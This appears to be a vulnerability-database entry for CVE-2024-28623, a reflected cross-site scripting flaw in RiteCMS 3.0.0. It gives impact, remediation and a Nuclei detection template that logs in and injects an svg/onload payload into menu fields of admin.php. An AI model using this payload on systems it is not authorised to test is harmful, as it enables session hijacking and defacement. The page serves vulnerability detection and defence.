Browse / CVEs / CVE-2024-28623
CVE-2024-28623· ritecms / ritecms· CWE-79
RiteCMS 3.0.0 - Cross-site Scripting
mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it
RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.
Impact
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
Fix
Sanitize and validate input in the main_menu/edit_section component, and update to the latest version if available.
How to confirm it
Send: POST /admin.php
Positive when: status_code == 302
Send: POST /admin.php ; GET /
Positive when: contains_all(body, "{{string}}", "RiteCMS") and contains(content_type, "text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-28623 -u <target>
The full check
id: CVE-2024-28623
info:
name: RiteCMS 3.0.0 - Cross-site Scripting
author: 0x_Akoko
severity: medium
description: |
RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.
impact: |
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
remediation: |
Sanitize and validate input in the main_menu/edit_section component, and update to the latest version if available.
reference:
- https://github.com/GURJOTEXPERT/ritecms
- https://nvd.nist.gov/vuln/detail/CVE-2024-28623
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-28623
cwe-id: CWE-79
epss-score: 0.01317
epss-percentile: 0.71037
cpe: cpe:2.3:a:ritecms:ritecms:3.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: ritecms
product: ritecms
fofa-query: title="RiteCMS"
tags: cve,cve2024,ritecms,xss,oss,authenticated,vuln
variables:
string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /admin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&userpw={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
POST /admin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mode=menus&menu=main_menu&edit_item=4&name=faq&title=faq&link=faq§ion='"><svg/onload=console.log('{{string}}')>&accesskey='"><svg/onload=console.log('{{string}}')>&submenu='"><svg/onload=console.log('{{string}}')>&edit_menu_item_submitted=%C2%A0OK%C2%A0
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "{{string}}", "RiteCMS")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from